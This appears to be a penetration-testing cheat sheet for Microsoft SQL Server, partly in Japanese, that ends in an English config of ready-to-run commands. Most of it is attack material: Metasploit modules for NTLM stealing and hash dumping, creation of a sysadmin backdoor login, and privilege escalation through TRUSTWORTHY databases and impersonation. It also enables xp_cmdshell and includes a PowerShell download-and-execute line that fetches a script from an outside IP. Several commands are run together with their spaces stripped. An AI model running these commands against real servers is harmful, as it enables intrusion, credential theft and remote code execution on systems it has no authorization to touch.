Microsoft SQL Server は リレーショナルデータベース 管理システムで、Microsoft によって開発されました。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。\
デフォルトポート: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
デフォルト MS-SQL システムテーブル
master データベース: このデータベースは、SQL Server インスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。
msdb データベース: SQL Server Agent は、このデータベースを使用してアラートやジョブのスケジュールを管理します。
model データベース: SQL Server インスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
Resource データベース: SQL Server に付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resource データベースに物理的に保存されている一方で、すべてのデータベースの sys スキーマに論理的に表示されます。
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf> useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf> useadmin/mssql/mssql_enum#Security checksmsf> useadmin/mssql/mssql_enum_domain_accountsmsf> useadmin/mssql/mssql_enum_sql_loginsmsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/scanner/mssql/mssql_hashdumpmsf> useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/admin/mssql/mssql_idf#Privescmsf> useexploit/windows/mssql/mssql_linkcrawlermsf> useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf> useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf> useadmin/mssql/mssql_exec#Execute commandsmsf> useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf> usewindows/manage/mssql_local_auth_bypass
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
一般的な列挙
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'#Enumerate linksenum_links#Use a linkuse_link [NAME]
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname,create_date,modify_date,type_descastype,authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
しかし、BULK オプションは ADMINISTER BULK OPERATIONS または ADMINISTER DATABASE BULK OPERATIONS 権限を必要とします。
# Checkif you have itSELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')# If you can't find any users, make sure to check for linksenum_links# If there is a link of interest, re-run the above steps on each linkuse_link [NAME]
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
攻撃者はSQL Server Linked ServersのパスワードをSQLインスタンスから抽出し、平文で取得することができ、攻撃者にターゲットに対するより大きな足場を得るために使用できるパスワードを与えます。Linked Serversのために保存されたパスワードを抽出し復号化するスクリプトはこちらにあります。
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'